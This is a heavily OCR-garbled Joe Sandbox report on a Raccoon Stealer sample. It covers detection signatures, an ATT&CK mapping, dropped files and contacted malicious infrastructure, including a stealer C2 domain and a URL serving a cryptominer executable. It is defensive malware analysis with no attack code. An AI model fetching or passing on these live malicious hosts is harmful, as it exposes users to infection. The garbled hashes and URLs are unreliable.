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Analysis Report Securitelnfo.com.Trojan.GenerickDZ.73...

Overview

General Information

Sample
Name:

Analysis ID:
MDS5:

SHAL:

SHA256:

Securitelnfo.com.Trojan.G
enerickDZ.73124.19170.e

xe

356541

060bd14ae501d8..

e16be2044b73bfb.

757c6cch2021bb..

Most interesting Screenshot:

)
ki)

Startup

= System is w10x64

. [> Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe (PID: 7140 cmdline: 'C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe' MD5:

Detection Classification

Detected unpacking (changes PE se...

MALICIOUS

Detected unpacking (ovenwrites its o...
Multi AV Scanner detection for subm...

Yara detected Raccoon Stealer

w
«Q
>
2
(=
=
®
(7]

Found many strings related to Crypt...

Machine Learning detection for samp...
May check the online IP address of: ...

Tries to harvest and steal browser in...

Raccoo Tries to steal Mail credentials (via fil...

Score: 92 Antivirusier-Machine! Learning detec...

Range: 0-100 Checksiifitheicurrent process is bein...
Whitelisted: false

) Contains capabilitiesito; detect virtua...
Confidence: 100%

060BD14AE501D8DAE94CC73672AB195B)
: 976 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 764 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

.

.

.

.

.

FREQERER

= cleanup

WerFault.exe (PID:
WerFault.exe (PID:
WerFault.exe (PID:
WerFault.exe (PID:
WerFault.exe (PID:
WerFault.exe (PID:
WerFault.exe (PID:
WerFault.exe (PID:

1984 cmdline:
6312 cmdline:
6692 cmdline:
6456 cmdline:
6408 cmdline:
5664 cmdline:
5472 cmdline:

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source

C:\Windows\SysWOWe64\WerFault.exe -u -p 7140 -s 764 MD5: 9E2BSACAD48ECCAS55C0230D63623661B)
C:\Windows\SysWOWe64\WerFault.exe -u -p 7140 -s 908 MD5: 9E2BSACAD48ECCAS55C0230D63623661B)
C:\Windows\SysWOWe64\WerFault.exe -u -p 7140 -s 880 MD5: 9E2BSACAD48ECCAS55C0230D63623661B)
C:\Windows\SysWOWe64\WerFault.exe -u -p 7140 -s 952 MD5: 9E2BSACAD48ECCAS55C0230D63623661B)
C:\Windows\SysWOWe64\WerFault.exe -u -p 7140 -s 1200 MD5: 9E2B8ACAD4A8ECCA55C0230D63623661B)
C:\Windows\SysWOWe64\WerFault.exe -u -p 7140 -s 1340 MD5: 9E2B8ACADA8ECCA55C0230D63623661B)
C:\Windows\SysWOWe64\WerFault.exe -u -p 7140 -s 1316 MD5: 9E2BSACAD48ECCA55C0230D63623661B)

Rule Description Author Strings

Process Memory Space: Securitelnfo.com.Trojan.Gene JoeSecurity_Raccoon Yara detected Joe Security
ricKDZ.73124.19170.exe PID: 7140

Raccoon Stealer

Process Memory Space: Securitelnfo.com.Trojan.Gene JoeSecurity_CredentialSte Yara detected Joe Security
ricKDZ.73124.19170.exe PID: 7140

Sigma Overview

No Sigma rule has matched
Copyright null 2021

aler Credential Stealer
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Signature Overview

@ AV Detection

@ Cryptography

@ Compliance

@ Spreading

@ Networking

@ Key, Mouse, Clipboard, Microphone and Screen Capturing
@ E-Banking Fraud

@ System Summary

©® Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Stealing of Sensitive Information

® Remote Access Functionality

@

AV Detection:

Click to jump to signature section

-

Multi AV Scanner detection for submitted file

Yara detected Raccoon Stealer

Compliance:

]

Detected unpacking (overwrites its own PE header)

Uses new MSVCR DlIs
Uses secure TLS version for HTTPS connections

Binary contains paths to debug symbols

Networking:

‘]

E-Banking Fraud:

=

Yara detected Raccoon Stealer

Data Obfuscation:

=

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Stealing of Sensitive Information:

]

Yara detected Raccoon Stealer

e
Q
[}
o
(=]
=
N
s
a1
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Remote Access Functionality:

Mitre Att&ck Matrix

Initial Access Execution

Valid Native

Accounts API

Default Scheduled

Accounts Task/Job

Domain At (Linux)

Accounts

Local At

Accounts (Windows)

Cloud Cron

Accounts

Replication Launchd

Through

Removable

Media

External Scheduled

Remote Task

Services

Drive-by Command

Compromise and
Scripting
Interpreter

Exploit Public- PowerShell

Facing

Application

Supply Chain  AppleScript

Compromise

Compromise  Windows

Software Command

Dependencies Shell
and

Development

Tools

Persistence

Application
Shimming

Boot or
Logon
Initialization
Scripts

Logon Script
(Windows)

Logon Script
(Mac)

Network
Logon Script

Rc.common

Startup
Iltems

Scheduled
Task/Job

At (Linux)

A
(Windows)

Cron

Behavior Graph
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Escalation

Application
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Process

Injection

Logon Script
(Windows)

Logon Script
(Mac)
Network

Logon Script

Rc.common

Startup ltems

Scheduled
Task/Job

At (Linux)

At (Windows)

Cron

Defense Evasion

Deobfuscate/Decode
Files or Information

Obfuscated Files or
Information

Software

Packing

Masquerading

Virtualization/Sandbox
Evasion

Process

Injection

Compile After
Delivery

Indicator Removal
from Tools

Masquerading
Invalid Code

Signature

Right-to-Left Override

Credential
Access

oS
Credential
Dumping

LSASS
Memory

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

DCSync

Proc
Filesystem

letc/passwd
and
letc/shadow

Network
Sniffing

Input
Capture

Discovery

System Time
Discovery

Account Discovery

File and Directory
Discovery

System Information

Discoverya

Query Registry

Security Software

Discovery

Virtualization/Sandbox
Evasion

Process

Discovery

System Owner/User
Discovery

Remote System
Discovery

System Network
Configuration
Discovery

Lateral
Movement

Remote
Services

Remote
Desktop
Protocol

SMB/Windows
Admin Shares

Distributed
Component
Object Model

SSH

VNC

Windows
Remote
Management

Shared
Webroot

Software
Deployment
Tools

Taint Shared
Content

Replication
Through
Removable
Media

Collection

Archive
Collected

Data

Data from
Local
System

Screen
Capture

Email

Collection

Keylogging

GUI Input
Capture

Web Portal
Capture

Credential
API Hooking

Data Staged

Local Data
Staging

Remote
Data Staging

Yara detected Raccoon Stealer

Exfiltration

Exfiltration Over Other
Network Medium

Exfiltration Over
Bluetooth

Automated Exfiltration

Scheduled Transfer

Data Transfer Size
Limits

Exfiltration Over C2
Channel

Exfiltration Over
Alternative Protocol

Exfiltration Over
Symmetric Encrypted
Non-C2 Protocol

Exfiltration Over
Asymmetric Encrypted
Non-C2 Protocol

Exfiltration Over

Unencrypted/Obfuscated

Non-C2 Protocol

Exfiltration Over
Physical Medium

Command
and Control

Ingress Tool

Transfer

Encrypted

Channel

Non-
Application
Layer
Protocol
Application
Layer

Protocol

Fallback
Channels

Multiband
Communicatior

Commonly
Used Port

Application
Layer Protocol
Web Protocols
File Transfer

Protocols

Mail Protocols
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No bigger version No bigger version No bigger version No bigger version

NEBFQQY

F-l O Tyoe here to search 4

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
Securitelnfo.com.Trojan.GenerickDZ.73124.19170.exe 39% Virustotal Browse
Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe 46% ReversingLabs Win32.Trojan.StellarStealer
Securitelnfo.com.Trojan.GenerickDZ.73124.19170.exe 100% Joe Sandbox ML

Dropped Files

Source Detection Scanner Label Link
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\AccessibleHandler.dll 0% Metadefender Browse
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\AccessibleHandler.dll 0% ReversingLabs
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\AccessibleMarshal.dll 0% Metadefender Browse
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\AccessibleMarshal.dll 0% ReversingLabs
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\IA2Marshal.dll 3% Metadefender Browse
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\IA2Marshal.dll 0% ReversingLabs
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\MapiProxy.dll 0% Metadefender Browse
C:\Users\user\AppData\LocalLow\eE8sFOyG2eQ6fT7\MapiProxy.dll 0% ReversingLabs
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https://www.virustotal.com/gui/file/757c6ccb2021bb12cb15fafcd4d748ef2d347ed4cb51076162563cbfe1ea01e0/detection/f-757c6ccb2021bb12cb15fafcd4d748ef2d347ed4cb51076162563cbfe1ea01e0-1614027470
https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBrOUxnd3hfZHZz/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBSQlRLOEJiM0c/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBDbFlMc3gya2Jm/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBpbVpFZEJ5UTh2/regular/analysis

Source

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy_InUse.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy_InUse.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-core-file-11-2-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-core-file-11-2-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-core-file-12-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-core-file-12-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-core-handle-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT 7\api-ms-win-core-handle-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sFO0yG2eQ6fT7\api-ms-win-core-heap-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sFO0yG2eQ6fT7\api-ms-win-core-heap-11-1-0.dll
C:\Users\user\AppData\LocalLow\eE8sFO0yG2eQ6fT 7\api-ms-win-core-interlocked-11-1-0.dlI
C:\Users\user\AppData\LocalLow\eE8sFO0yG2eQ6fT 7\api-ms-win-core-interlocked-11-1-0.dlI

Unpacked PE Files

Source Detection

Detection
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Scanner

Scanner
Metadefender
ReversingLabs
Metadefender
ReversingLabs
Metadefender
ReversingLabs
Metadefender
ReversingLabs
Metadefender
ReversingLabs
Metadefender

ReversingLabs

Label

Link

Browse

Browse

Browse

Browse

Browse

Browse

Download

Domains

No Antivirus matches

URLs

Source
hitp://https://yearofthepig.top/M
hitp://cps.letsencrypt.org0
hitp://cps.letsencrypt.org0
hitp://cps.letsencrypt.org0
hitp://https://yearofthepig.top/
hitp://https://tigr.org/img/t_logo.png
hitp://https://yearofthepig.top/P
hitp:/focsp.thawte.com0
hitp:/focsp.thawte.com0
hitp:/focsp.thawte.com0
hitp:/fiwww.mozilla.com0
hitp://www.mozilla.com0
hitp://www.mozilla.com0
hittp://94.103.94.2/miner_scrooges.exe
hitp://https://yearofthepig.top/error.php

http://
https://yearofthepig.top//l/f/ixwhzncBul_ccNKoCuGJ/b7b57553476201d30df84e5e9cd9e955ae47aaaf

http://
https://yearofthepig.top//l/f/ixwhzncBul_ccNKoCuGJ/ff3e513855a6f44e51c42364424f5f0065547d181

hitp://https:/lyearofthepig.top//l/f/ixwhzncBul_ccNKoCuGJ/ff3e513855a6f44e51c42364424f5f0065547d18
hitp://r3.0.lencr.org0

hitp://r3.0.lencr.org0

hitp://r3.0.lencr.org0

http://
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=300554066292
9;gt

hitp://r3.i.lencr.org/0#

hitp://https://tttttt. me/h_scroogenews_1

hitp://cps.root-x1.letsencrypt.org0

hitp://cps.root-x1.letsencrypt.org0

hitp://cps.root-x1.letsencrypt.org0

hitp://94.103.94.2/miner_scrooges.exe201d
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Detection
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

0%

0%
0%
0%
0%
0%

0%
0%
0%
0%
0%
0%

Scanner

Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

Avira URL Cloud

Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Avira URL Cloud
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Label
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

safe

safe
safe
safe
safe

safe

safe
safe
safe
safe
safe

safe

Link
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https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBpbVpFZEJ5UTh2/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXdOR0U1YTFSTGRYQXpTRFlrZng5Q09aMU1sMA/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXdOR0U1YTFSTGRYQXpTRFl6ZmxrWnM3MUxqQQ/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXdOR0U1YTFSTGRYQXpTRFlpLXBKcXdWZXdu/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXdOR0U1YTFSTGRYQXpTRFlHdHhxR0VuRXFNQQ/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXdOR0U1YTFSTGRYQXpTRFlhS3llVF90UE5Gdg/regular/analysis

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
tttttt. me 95.216.186.40 true false unknown
yearofthepig.top 104.21.50.15 true false unknown
iplogger.org 88.99.66.31 true false high
pool.minexmr.com 51.254.84.37 true false high
Contacted URLs
Name Malicious Antivirus Detection Reputation
hitp://94.103.94.2/miner_scrooges.exe false e Avira URL Cloud: safe unknown
URLs from Memory and Binaries
Name Source Malicious Antivirus Detection Reputation
hitp://https://duckduckgo.com/chrome_newtab RYwTiizs2t.2.dr false high
hitp:/fiwww.mozilla.com/en-US/blocklist/ Securitelnfo.com.Trojan.Generi false high
cKDZ.73124.19170.exe, 00000002
.00000002.667327807.000000006F
409000.00000002.00020000.sdmp
hitp://https://duckduckgo.com/ac/?q= RYwTiizs2t.2.dr false high
hitp://https://yearofthepig.top/M Securitelnfo.com.Trojan.Generi false e Avira URL Cloud: safe unknown
cKDZ.73124.19170.exe, 00000002
.00000003.644887582.0000000000
BD3000.00000004.00000001.sdmp
hitp://cps.letsencrypt.org0 Securitelnfo.com.Trojan.Generi false e URL Reputation: safe unknown
cKDZ.73124.19170.exe, 00000002 e URL Reputation: safe
.00000003.594234001.0000000000 e URL Reputation: safe
BED000.00000004.00000001.sdmp
hitp://https://yearofthepig.top/ Securitelnfo.com.Trojan.Generi false e Avira URL Cloud: safe unknown
cKDZ.73124.19170.exe, 00000002
.00000003.594234001.0000000000
BED000.00000004.00000001.sdmp,
Securitelnfo.com.Trojan.Gener
icKDZ.73124.19170.exe, 0000000
2.00000002.663680242.000000000
0BD3000.00000004.00000001.sdmp,
Securitelnfo.com.Trojan.Gene
ricKDZ.73124.19170.exe, 000000
02.00000003.644887582.00000000
00BD3000.00000004.00000001.sdmp
hitp://https://tigr.org/img/t_logo.png Securitelnfo.com.Trojan.Generi false e Avira URL Cloud: safe unknown
cKDZ.73124.19170.exe, 00000002
.00000003.594234001.0000000000
BED000.00000004.00000001.sdmp,
Securitelnfo.com.Trojan.Gener
icKDZ.73124.19170.exe, 0000000
2.00000002.663680242.000000000
0BD3000.00000004.00000001.sdmp
hitp://https://yearofthepig.top/P Securitelnfo.com.Trojan.Generi false e Avira URL Cloud: safe unknown
cKDZ.73124.19170.exe, 00000002
.00000003.594234001.0000000000
BED000.00000004.00000001.sdmp
hitp://ocsp.thawte.comO Securitelnfo.com.Trojan.Generi false e URL Reputation: safe unknown
cKDZ.73124.19170.exe, 00000002 e URL Reputation: safe
.00000003.627962588.000000004C e URL Reputation: safe
45A000.00000004.00000001.sdmp,
nss3.dll.2.dr
hitp://iwww.mozilla.com0 Securitelnfo.com.Trojan.Generi false e URL Reputation: safe unknown
cKDZ.73124.19170.exe, 00000002 e URL Reputation: safe
.00000003.627962588.000000004C e URL Reputation: safe
45A000.00000004.00000001.sdmp,
nss3.dll.2.dr
http:/f RYwTiizs2t.2.dr false high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?
q:
http:/f RYwTiizs2t.2.dr false high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/
search
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Name

http:/f

https://2542116.fls.doubleclick.net/activityi;src=2542116;type=

2542116;cat=chom0;0rd=9774759596232;g

hitp://https://yearofthepig.top/error.php

http:/f

https://2542116.fls.doubleclick.net/activityi;src=2542116;type=

clien612;cat=chromx;ord=1;num=7859736

http:/f

https://yearofthepig.top//l/f/ixwhzncBul_ccNKoCuGJ/b7b57553

476201d30df84e5e9cd9e955ae4 7aaaf

hitp://https://ac.ecosia.org/autocomplete?q=

http:/f

https://yearofthepig.top//l/f/ixwhzncBul_ccNKoCuGJ/ff3e51385

5a6f44e51c42364424f5f0065547d181

hitp://crl.thawte.com/ThawteTimestampingCA.crl0

hitp://https://contextual.media.net/checksync.php?

&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prv

id=77%2

http:/f

https://yearofthepig.top//l/f/ixwhzncBul_ccNKoCuGJ/ff3e51385

5a6f44e51c42364424f5f0065547d18

hitp://r3.0.lencr.org0

http:/f

https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chr

om322;cat=chrom01g;ord=3005540662929;gt

http:/f

https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://ww

w.ecosia.org/search?q=

hitp://r3.i.lencr.org/0#

hitp://https://tttttt. me/h_scroogenews_1

hitp:/fiwww.sglite.org/copyright.html.
hitp://cps.root-x1.letsencrypt.org0

hitp://https://search.yahoo.com/sugg/chrome?
output=fxjson&appid=crmas&command=

hitp://94.103.94.2/miner_scrooges.exe201d

Contacted IPs

Copyright null 2021

Source Malicious

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000002.663596917.0000000000
BA2000.00000004.00000001.sdmp

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000003.594234001.0000000000
BEDO000.00000004.00000001.sdmp

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000003.628092792.0000000000
C31000.00000004.00000001.sdmp,
Securitelnfo.com.Trojan.Gener
icKDZ.73124.19170.exe, 0000000
2.00000002.663634418.000000000
0BC6000.00000004.00000001.sdmp

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000003.594234001.0000000000
BEDO000.00000004.00000001.sdmp,
Securitelnfo.com.Trojan.Gener
icKDZ.73124.19170.exe, 0000000
2.00000003.594468632.000000000
0BC6000.00000004.00000001.sdmp

RYwTiizs2t.2.dr false

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000003.628016845.0000000000
BD3000.00000004.00000001.sdmp

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000003.627962588.000000004C
45A000.00000004.00000001.sdmp,
nss3.dll.2.dr

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000003.628016845.0000000000
BD3000.00000004.00000001.sdmp

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000002.663680242.0000000000
BD3000.00000004.00000001.sdmp

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000003.594234001.0000000000
BEDO000.00000004.00000001.sdmp

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000002.663680242.0000000000
BD3000.00000004.00000001.sdmp

RYwTiizs2t.2.dr false

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000003.594234001.0000000000
BEDO000.00000004.00000001.sdmp

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000002.663680242.0000000000
BD3000.00000004.00000001.sdmp,
Securitelnfo.com.Trojan.Gener
icKDZ.73124.19170.exe, 0000000
2.00000002.663596917.000000000
0BA2000.00000004.00000001.sdmp

sqlite3.dll.2.dr false

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000003.594234001.0000000000
BEDO000.00000004.00000001.sdmp

RYwTiizs2t.2.dr false

Securitelnfo.com.Trojan.Generi false
cKDZ.73124.19170.exe, 00000002
.00000003.594234001.0000000000
BEDO000.00000004.00000001.sdmp

Antivirus Detection

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e Avira URL Cloud: safe

Reputation

high

unknown

high

unknown

high

unknown

high

high

unknown

unknown

unknown

high

unknown

unknown

high

unknown

high

unknown
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] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public

P Domain
95.216.186.40 unknown
104.21.50.15 unknown
172.67.199.58 unknown
94.103.94.2 unknown

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Run name:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:

Analysis stop reason:

Copyright null 2021

Country
Germany
United States
United States

Russian Federation

Flag
=

1% IR

ASN

24940
13335
13335
48282

ASN Name Malicious
HETZNER-ASDE false
CLOUDFLARENETUS false
CLOUDFLARENETUS false
VDSINA-ASRU false

31.0.0 Emerald

356541

23.02.2021

10:01:34

CloudBasic

Oh 12m 42s

false

light
Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211

Run with higher sleep bypass
40

0
0
0
0

HCA enabled
EGA enabled
HDC enabled

L]
L]
L]
* AMSI enabled

default

Timeout
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Detection:
Classification:
EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Copyright null 2021

MAL

mal92.troj.spyw.evad.WinEXE@11/101@6/4

Failed

Failed

.

.

.

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time

Enable AMSI

Sleeps bigger than 120000ms are automatically
reduced to 1000ms

Found application associated with file extension:
.exe

Show All

.

Exclude process from analysis (whitelisted):
MpCmdRun.exe, BackgroundTransferHost.exe,
WerFault.exe, wermgr.exe,
backgroundTaskHost.exe, conhost.exe,
svchost.exe, wuapihost.exe

TCP Packets have been reduced to 100

Created / dropped Files have been reduced to 100
Excluded IPs from analysis (whitelisted):
92.122.145.220, 104.43.193.48, 104.42.151.234,
52.255.188.83, 51.11.168.160, 92.122.213.247,
92.122.213.194, 2.20.142.210, 2.20.142.209,
8.253.204.121, 8.253.95.121, 8.248.147.254,
8.248.115.254, 8.253.95.120, 40.88.32.150,
51.103.5.159, 52.155.217.156, 20.54.26.129,
184.30.20.56, 104.43.139.144, 13.64.90.137,
168.61.161.212

Excluded domains from analysis (whitelisted):
au.download.windowsupdate.com.edgesuite.net,
arc.msn.com.nsatc.net, store-images.s-
microsoft.com-c.edgekey.net,
al449.dscg2.akamai.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, arc.msn.com, vipl-
par02p.wns.notify.trafficmanager.net,
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, e12564.dspb.akamaiedge.net,
skypedataprdcoleus15.cloudapp.net,
wns.notify.trafficmanager.net,
audownload.windowsupdate.nsatc.net,
displaycatalog.mp.microsoft.com,
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net,
auto.au.download.windowsupdate.com.c.footprint.n
et, prod.fs.microsoft.com.akadns.net, au-bg-
shim.trafficmanager.net, displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net,
client.wns.windows.com,
skypedataprdcolwus17.cloudapp.net,
fs.microsoft.com, displaycatalog-rp-
europe.md.mp.microsoft.com.akadns.net,
displaycatalog.md.mp.microsoft.com.akadns.net,
ris-prod.trafficmanager.net,
ctldl.windowsupdate.com,
e1723.g.akamaiedge.net,
skypedataprdcolcus17.cloudapp.net,
a767.dscg3.akamai.net,
skypedataprdcolcus16.cloudapp.net,
skypedataprdcolcus15.cloudapp.net,
ris.api.iris.microsoft.com,
skypedataprdcoleus17.cloudapp.net, store-
images.s-microsoft.com,
blobcollector.events.data.trafficmanager.net,
skypedataprdcolwus16.cloudapp.net,
displaycatalog-rp.md.mp.microsoft.com.akadns.net
Report size exceeded maximum capacity and may
have missing behavior information.

Report size getting too big, too many NtOpenFile
calls found.

Report size getting too big, too many
NtOpenKeyEx calls found.

Report size getting too big, too many
NtProtectVirtualMemory calls found.

Report size getting too big, too many
NtQueryValueKey calls found.
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Behavior and APIs

Time Type Description

10:05:01 Task Scheduler Run new task: Windows Service Microsoft Corporation path: C:\Users\user\AppData\Roaming\Windows\Ran
timeBroker.exe

Joe Sandbox View | Context

IPs
Match SHA 256 Detection Link Context
95.216.186.40 Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
104.21.50.15 Get hash malicious Browse

Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse
Get hash malicious Browse

172.67.199.58 Get hash malicious Browse

Domains

Match SHA 256 Detection Link Context

yearofthepig.top Get hash malicious Browse e 104.21.50.15
Get hash malicious Browse e 172.67.199.58
Get hash malicious Browse e 104.21.50.15
Get hash malicious Browse e 104.21.50.15
Get hash malicious Browse e 104.21.50.15

pool.minexmr.com Get hash malicious Browse e 51.68.21.186
Get hash malicious Browse e 178.32.120.127
Get hash malicious Browse e 51.68.21.186
Get hash malicious Browse e 51.68.21.186
Get hash malicious Browse e 88.99.242.92
Get hash malicious Browse e 37.59.43.131

Get hash malicious Browse 94.130.164.163

Get hash malicious Browse 94.130.165.87

Get hash malicious Browse e 88.99.242.92
Get hash malicious Browse e 88.99.193.240
Get hash malicious Browse e 37.59.44.193
Get hash malicious Browse e 88.99.193.240
Get hash malicious Browse e 37.59.54.205
Get hash malicious Browse e 37.59.55.60
Get hash malicious Browse e 37.59.55.60
Get hash malicious Browse e 37.59.44.193
Get hash malicious Browse e 94.130.165.87
Get hash malicious Browse e 37.59.55.60
Get hash malicious Browse e 178.63.48.196
Get hash malicious Browse e 176.9.53.68
tttttt. me Get hash malicious Browse e 95.216.186.40
Get hash malicious Browse e 95.216.186.40
Get hash malicious Browse e 95.216.186.40
Get hash malicious Browse e 95.216.186.40
iplogger.org Get hash malicious Browse e 88.99.66.31
Get hash malicious Browse e 88.99.66.31
Get hash malicious Browse e 88.99.66.31

> >

E i E a ]
) ) [=] [=]
=3 =3

2 2

[ [

[=1 [=1

[ [

o o

3 3

=2 =2

) )

2 2

o o

3 3

o o

(= (=

A A

r r

Copyright null 2021 Page 15 of 245


https://view.joesandbox.com/analysis/267237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid
https://view.joesandbox.com/analysis/265062/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265062/html/none?idtype=webid
https://view.joesandbox.com/analysis/263136/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263136/html/none?idtype=webid
https://view.joesandbox.com/analysis/263132/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263132/html/none?idtype=webid
https://view.joesandbox.com/analysis/267240/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267240/html/none?idtype=webid
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid
https://view.joesandbox.com/analysis/267233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267233/html/none?idtype=webid
https://view.joesandbox.com/analysis/266602/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266602/html/none?idtype=webid
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid
https://view.joesandbox.com/analysis/267240/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267240/html/none?idtype=webid
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267237/html/none?idtype=webid
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267236/html/none?idtype=webid
https://view.joesandbox.com/analysis/267233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267233/html/none?idtype=webid
https://view.joesandbox.com/analysis/266602/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266602/html/none?idtype=webid
https://view.joesandbox.com/analysis/267239/html/none?idtype=webid#static
